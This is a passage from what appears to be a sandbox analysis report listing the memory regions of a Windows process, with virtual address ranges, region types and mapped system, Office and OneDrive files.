1 entry_point = 0x0 region_type = private name = "private_0x0000000007d70000" filename = "" Region: id = 533 start_va = 0x7dc0000 end_va = 0x7dc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007dc0000" filename = "" Region: id = 534 start_va = 0x7e00000 end_va = 0x7e01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e00000" filename = "" Region: id = 535 start_va = 0x7e10000 end_va = 0x7e10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 536 start_va = 0x7e40000 end_va = 0x7e43fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 537 start_va = 0x7e50000 end_va = 0x7e51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e50000" filename = "" Region: id = 538 start_va = 0x7e60000 end_va = 0x7e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e60000" filename = "" Region: id = 539 start_va = 0x7e70000 end_va = 0x7e71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e70000" filename = "" Region: id = 540 start_va = 0x7e80000 end_va = 0x7ec7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e80000" filename = "" Region: id = 541 start_va = 0x7f00000 end_va = 0x7f00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007f00000" filename = "" Region: id = 542 start_va = 0x7f90000 end_va = 0x800ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f90000" filename = "" Region: id = 543 start_va = 0x8010000 end_va = 0x81c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 544 start_va = 0x81d0000 end_va = 0x824ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081d0000" filename = "" Region: id = 545 start_va = 0x82d0000 end_va = 0x86cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082d0000" filename = "" Region: id = 546 start_va = 0x86d0000 end_va = 0x87cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 547 start_va = 0x87f0000 end_va = 0x87fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000087f0000" filename = "" Region: id = 548 start_va = 0x88d0000 end_va = 0x894ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088d0000" filename = "" Region: id = 549 start_va = 0x89d0000 end_va = 0x8a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000089d0000" filename = "" Region: id = 550 start_va = 0x8a50000 end_va = 0x8b4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 551 start_va = 0x8bd0000 end_va = 0x8c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008bd0000" filename = "" Region: id = 552 start_va = 0x8c50000 end_va = 0x8ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c50000" filename = "" Region: id = 553 start_va = 0x8cd0000 end_va = 0x8d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008cd0000" filename = "" Region: id = 554 start_va = 0x8d50000 end_va = 0x8dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d50000" filename = "" Region: id = 555 start_va = 0x8dd0000 end_va = 0x8ecffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 556 start_va = 0x8ed0000 end_va = 0x8fcffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 557 start_va = 0x92d0000 end_va = 0x93cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 558 start_va = 0x93d0000 end_va = 0x944ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000093d0000" filename = "" Region: id = 559 start_va = 0x94d0000 end_va = 0x954ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000094d0000" filename = "" Region: id = 560 start_va = 0x9550000 end_va = 0x95cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009550000" filename = "" Region: id = 561 start_va = 0x95d0000 end_va = 0x96cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 562 start_va = 0x96d0000 end_va = 0x97cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 563 start_va = 0x97d0000 end_va = 0x984ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000097d0000" filename = "" Region: id = 564 start_va = 0x98d0000 end_va = 0x98d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098d0000" filename = "" Region: id = 565 start_va = 0x98e0000 end_va = 0x98e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098e0000" filename = "" Region: id = 566 start_va = 0x98f0000 end_va = 0xa2effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000098f0000" filename = "" Region: id = 567 start_va = 0xa350000 end_va = 0xa3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a350000" filename = "" Region: id = 568 start_va = 0xa3d0000 end_va = 0xa44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3d0000" filename = "" Region: id = 569 start_va = 0xa450000 end_va = 0xa4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a450000" filename = "" Region: id = 570 start_va = 0xa4d0000 end_va = 0xa5cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 571 start_va = 0xa5d0000 end_va = 0xa64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a5d0000" filename = "" Region: id = 572 start_va = 0xa650000 end_va = 0xa6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a650000" filename = "" Region: id = 573 start_va = 0xa6d0000 end_va = 0xa74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a6d0000" filename = "" Region: id = 574 start_va = 0xa750000 end_va = 0xa7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a750000" filename = "" Region: id = 575 start_va = 0xa7d0000 end_va = 0xa8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7d0000" filename = "" Region: id = 576 start_va = 0xa8e0000 end_va = 0xa8e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a8e0000" filename = "" Region: id = 577 start_va = 0xa8f0000 end_va = 0xa8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a8f0000" filename = "" Region: id = 578 start_va = 0xa910000 end_va = 0xa911fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a910000" filename = "" Region: id = 579 start_va = 0xa920000 end_va = 0xa921fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a920000" filename = "" Region: id = 580 start_va = 0xa930000 end_va = 0xa931fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a930000" filename = "" Region: id = 581 start_va = 0xa940000 end_va = 0xa941fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a940000" filename = "" Region: id = 582 start_va = 0xa950000 end_va = 0xab4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a950000" filename = "" Region: id = 583 start_va = 0xac50000 end_va = 0xaccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ac50000" filename = "" Region: id = 584 start_va = 0xacd0000 end_va = 0xad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000acd0000" filename = "" Region: id = 585 start_va = 0xad50000 end_va = 0xadcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ad50000" filename = "" Region: id = 586 start_va = 0xadd0000 end_va = 0xae4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000add0000" filename = "" Region: id = 587 start_va = 0xae50000 end_va = 0xaecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ae50000" filename = "" Region: id = 588 start_va = 0xaed0000 end_va = 0xb0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000aed0000" filename = "" Region: id = 589 start_va = 0xb250000 end_va = 0xb388fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b250000" filename = "" Region: id = 590 start_va = 0xb3d0000 end_va = 0xb44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b3d0000" filename = "" Region: id = 591 start_va = 0xb450000 end_va = 0xb4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b450000" filename = "" Region: id = 592 start_va = 0xb4d0000 end_va = 0xb54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b4d0000" filename = "" Region: id = 593 start_va = 0xb550000 end_va = 0xbd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b550000" filename = "" Region: id = 594 start_va = 0xbe90000 end_va = 0xc017fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ieframe.dll.mui" filename = "\\Windows\\System32\\en-US\\ieframe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\ieframe.dll.mui") Region: id = 595 start_va = 0xc020000 end_va = 0xec3dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 596 start_va = 0xec40000 end_va = 0xf131fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ec40000" filename = "" Region: id = 597 start_va = 0xf950000 end_va = 0xf9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f950000" filename = "" Region: id = 598 start_va = 0xfdd0000 end_va = 0xfe4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fdd0000" filename = "" Region: id = 599 start_va = 0xfe50000 end_va = 0xfecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fe50000" filename = "" Region: id = 600 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 601 start_va = 0x180000000 end_va = 0x18087dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\1033\\grooveintlresource.dll") Region: id = 602 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 603 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 604 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 605 start_va = 0x7ff6a4680000 end_va = 0x7ff6a4e4bfff monitored = 0 entry_point = 0x7ff6a4a19010 region_type = mapped_file name = "ntoskrnl.exe" filename = "\\Windows\\System32\\ntoskrnl.exe" (normalized: "c:\\windows\\system32\\ntoskrnl.exe") Region: id = 606 start_va = 0x7ff7aabd0000 end_va = 0x7ff7ab017fff monitored = 0 entry_point = 0x7ff7aac6e090 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 607 start_va = 0x7ffd31a30000 end_va = 0x7ffd31b83fff monitored = 0 entry_point = 0x7ffd31a37d6c region_type = mapped_file name = "msoshext.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\msoshext.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoshext.dll") Region: id = 608 start_va = 0x7ffd32030000 end_va = 0x7ffd32038fff monitored = 0 entry_point = 0x7ffd32031b60 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 609 start_va = 0x7ffd346f0000 end_va = 0x7ffd353bcfff monitored = 0 entry_point = 0x7ffd3483e880 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 610 start_va = 0x7ffd353c0000 end_va = 0x7ffd353cffff monitored = 0 entry_point = 0x7ffd353c3d50 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\System32\\pcacli.dll" (normalized: "c:\\windows\\system32\\pcacli.dll") Region: id = 611 start_va = 0x7ffd35510000 end_va = 0x7ffd3555ffff monitored = 0 entry_point = 0x7ffd35541220 region_type = mapped_file name = "windows.system.launcher.dll" filename = "\\Windows\\System32\\Windows.System.Launcher.dll" (normalized: "c:\\windows\\system32\\windows.system.launcher.dll") Region: id = 612 start_va = 0x7ffd369e0000 end_va = 0x7ffd36b20fff monitored = 0 entry_point = 0x7ffd369e5f70 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 613 start_va = 0x7ffd36b30000 end_va = 0x7ffd36b7dfff monitored = 0 entry_point = 0x7ffd36b41ce0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 614 start_va = 0x7ffd37470000 end_va = 0x7ffd377b5fff monitored = 0 entry_point = 0x7ffd37478530 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 615 start_va = 0x7ffd377c0000 end_va = 0x7ffd37a02fff monitored = 0 entry_point = 0x7ffd377c36c0 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 616 start_va = 0x7ffd37a10000 end_va = 0x7ffd37a97fff monitored = 0 entry_point = 0x7ffd37a24510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 617 start_va = 0x7ffd37aa0000 end_va = 0x7ffd37aeffff monitored = 0 entry_point = 0x7ffd37aabe50 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 618 start_va = 0x7ffd37af0000 end_va = 0x7ffd37b06fff monitored = 0 entry_point = 0x7ffd37af2790 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 619 start_va = 0x7ffd37b10000 end_va = 0x7ffd37b51fff monitored = 0 entry_point = 0x7ffd37b12230 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 620 start_va = 0x7ffd37b60000 end_va = 0x7ffd37bd8fff monitored = 0 entry_point = 0x7ffd37b622d0 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 621 start_va = 0x7ffd37be0000 end_va = 0x7ffd37c5afff monitored = 0 entry_point = 0x7ffd37be3af0 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 622 start_va = 0x7ffd37c60000 end_va = 0x7ffd37db9fff monitored = 0 entry_point = 0x7ffd37c64610 region_type = mapped_file name = "windows.ui.shell.dll" filename = "\\Windows\\System32\\Windows.UI.Shell.dll" (normalized: "c:\\windows\\system32\\windows.ui.shell.dll") Region: id = 623 start_va = 0x7ffd37dc0000 end_va = 0x7ffd37fbdfff monitored = 0 entry_point = 0x7ffd37dc16c0 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 624 start_va = 0x7ffd37fc0000 end_va = 0x7ffd38023fff monitored = 0 entry_point = 0x7ffd37fc6b20 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 625 start_va = 0x7ffd385b0000 end_va = 0x7ffd386d0fff monitored = 0 entry_point = 0x7ffd385b1cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 626 start_va = 0x7ffd386e0000 end_va = 0x7ffd3878bfff monitored = 0 entry_point = 0x7ffd386e59c0 region_type = mapped_file name = "ieproxy.dll" filename = "\\Windows\\System32\\ieproxy.dll" (normalized: "c:\\windows\\system32\\ieproxy.dll") Region: id = 627 start_va = 0x7ffd3afb0000 end_va = 0x7ffd3b063fff monitored = 0 entry_point = 0x7ffd3afc53b0 region_type = mapped_file name = "windows.internal.shell.broker.dll" filename = "\\Windows\\System32\\Windows.Internal.Shell.Broker.dll" (normalized: "c:\\windows\\system32\\windows.internal.shell.broker.dll") Region: id = 628 start_va = 0x7ffd3b070000 end_va = 0x7ffd3b07ffff monitored = 0 entry_point = 0x7ffd3b0778e0 region_type = mapped_file name = "atlthunk.dll" filename = "\\Windows\\System32\\atlthunk.dll" (normalized: "c:\\windows\\system32\\atlthunk.dll") Region: id = 629 start_va = 0x7ffd3b100000 end_va = 0x7ffd3b13dfff monitored = 0 entry_point = 0x7ffd3b109650 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 630 start_va = 0x7ffd3cf40000 end_va = 0x7ffd3cfb6fff monitored = 0 entry_point = 0x7ffd3cf42af0 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 631 start_va = 0x7ffd3e040000 end_va = 0x7ffd3e05efff monitored = 0 entry_point = 0x7ffd3e0437e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 632 start_va = 0x7ffd3e060000 end_va = 0x7ffd3e0d8fff monitored = 0 entry_point = 0x7ffd3e0676a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 633 start_va = 0x7ffd3e2b0000 end_va = 0x7ffd3e2c4fff monitored = 0 entry_point = 0x7ffd3e2b5740 region_type = mapped_file name = "profext.dll" filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll") Region: id = 634 start_va = 0x7ffd3e2d0000 end_va = 0x7ffd3e31afff monitored = 0 entry_point = 0x7ffd3e2e1590 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll") Region: id = 635 start_va = 0x7ffd3e7e0000 end_va = 0x7ffd3e7fafff monitored = 0 entry_point = 0x7ffd3e7eaf40 region_type = mapped_file name = "capauthz.dll" filename = "\\Windows\\System32\\capauthz.dll" (normalized: "c:\\windows\\system32\\capauthz.dll") Region: id = 636 start_va = 0x7ffd3e990000 end_va = 0x7ffd3e9a3fff monitored = 0 entry_point = 0x7ffd3e993710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 637 start_va = 0x7ffd3ea40000 end_va = 0x7ffd3ea5dfff monitored = 0 entry_point = 0x7ffd3ea4ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 638 start_va = 0x7ffd3ed50000 end_va = 0x7ffd3ed5bfff monitored = 0 entry_point = 0x7ffd3ed535c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 639 start_va = 0x7ffd3ed60000 end_va = 0x7ffd3ef08fff monitored = 0 entry_point = 0x7ffd3edb4060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 640 start_va = 0x7ffd40310000 end_va = 0x7ffd4038ffff monitored = 0 entry_point = 0x7ffd4033d280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 641 start_va = 0x7ffd40390000 end_va = 0x7ffd403b1fff monitored = 0 entry_point = 0x7ffd40392580 region_type = mapped_file name = "wcmapi.dll" filename = "\\Windows\\System32\\wcmapi.dll" (normalized: "c:\\windows\\system32\\wcmapi.dll") Region: id = 642 start_va = 0x7ffd403c0000 end_va = 0x7ffd403fffff monitored = 0 entry_point = 0x7ffd403d6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 643 start_va = 0x7ffd404f0000 end_va = 0x7ffd40769fff monitored = 0 entry_point = 0x7ffd4050a7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 644 start_va = 0x7ffd410e0000 end_va = 0x7ffd410f5fff monitored = 0 entry_point = 0x7ffd410e1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 645 start_va = 0x7ffd41100000 end_va = 0x7ffd412b7fff monitored = 0 entry_point = 0x7ffd4116e630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 646 start_va = 0x7ffd412c0000 end_va = 0x7ffd41307fff monitored = 0 entry_point = 0x7ffd412ca430 region_type = mapped_file name = "notificationobjfactory.dll" filename = "\\Windows\\System32\\NotificationObjFactory.dll" (normalized: "c:\\windows\\system32\\notificationobjfactory.dll") Region: id = 647 start_va = 0x7ffd41370000 end_va = 0x7ffd413cbfff monitored = 0 entry_point = 0x7ffd41387190 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\System32\\ninput.dll" (normalized: "c:\\windows\\system32\\ninput.dll") Region: id = 648 start_va = 0x7ffd413d0000 end_va = 0x7ffd41466fff monitored = 0 entry_point = 0x7ffd413dddc0 region_type = mapped_file name = "wlidprov.dll" filename = "\\Windows\\System32\\wlidprov.dll" (normalized: "c:\\windows\\system32\\wlidprov.dll") Region: id = 649 start_va = 0x7ffd41470000 end_va = 0x7ffd4147bfff monitored = 0 entry_point = 0x7ffd414714b0 region_type = mapped_file name = "notificationcontrollerps.dll" filename = "\\Windows\\System32\\NotificationControllerPS.dll" (normalized: "c:\\windows\\system32\\notificationcontrollerps.dll") Region: id = 650 start_va = 0x7ffd41480000 end_va = 0x7ffd414b6fff monitored = 0 entry_point = 0x7ffd414820a0 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 651 start_va = 0x7ffd414c0000 end_va = 0x7ffd417f9fff monitored = 0 entry_point = 0x7ffd414c8520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 652 start_va = 0x7ffd41800000 end_va = 0x7ffd4189dfff monitored = 0 entry_point = 0x7ffd41849d40 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\msvcp140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\msvcp140.dll") Region: id = 653 start_va = 0x7ffd418a0000 end_va = 0x7ffd418b6fff monitored = 0 entry_point = 0x7ffd418ac440 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\vcruntime140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\vcruntime140.dll") Region: id = 654 start_va = 0x7ffd418c0000 end_va = 0x7ffd41ad3fff monitored = 0 entry_point = 0x7ffd418c1000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\grooveex.dll") Region: id = 655 start_va = 0x7ffd41ae0000 end_va = 0x7ffd41d6dfff monitored = 0 entry_point = 0x7ffd41bb0f00 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 656 start_va = 0x7ffd41d70000 end_va = 0x7ffd41d79fff monitored = 0 entry_point = 0x7ffd41d71350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 657 start_va = 0x7ffd41d80000 end_va = 0x7ffd41e6efff monitored = 0 entry_point = 0x7ffd41da29cc region_type = mapped_file name = "msvcr120.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\msvcr120.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\msvcr120.dll") Region: id = 658 start_va = 0x7ffd41e70000 end_va = 0x7ffd41f15fff monitored = 0 entry_point = 0x7ffd41ebefec region_type = mapped_file name = "msvcp120.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\msvcp120.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\msvcp120.dll") Region: id = 659 start_va = 0x7ffd41f20000 end_va = 0x7ffd420aefff monitored = 0 entry_point = 